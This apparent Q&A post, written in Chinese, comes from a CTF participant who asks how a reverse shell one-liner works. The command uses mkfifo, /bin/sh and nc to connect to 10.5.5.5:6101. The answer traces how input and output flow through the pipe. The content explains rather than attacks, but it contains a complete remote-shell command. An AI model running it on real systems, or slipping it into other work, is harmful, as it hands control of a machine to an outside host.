在平台上進行 CTF 挑戰時,我需要一個反向 shell,但無法正常工作,因此我查看了流程並找到了一個反向 shell 程式碼:
rm /tmp/m;mkfifo /tmp/m;cat /tmp/m|/bin/sh -i 2>&1|nc 10.5.5.5 6101 >/tmp/m
這實際上有效,但我實際上無法理解管道是如何工作的,它將數據發送到哪裡等等。
答案1
這會在系統上設定一個遠端控制的 shell。輸入和輸出如下:
cat /tmp/m
從 FIFO 讀取/tmp/m
並將其寫入...|/bin/sh -i 2>&1
它執行它讀取的命令並將其輸出(標準輸出和標準錯誤)發送到...|nc 10.5.5.5 6101
它連接到 10.5.5.5:6101 並寫入>/tmp/m
先進先出。
因此,遠端系統可以提供命令,這些命令透過 傳輸nc
、寫入 FIFO、由 讀取cat
、由 解釋sh
,並且這些命令的輸出透過 發送回遠端系統nc
。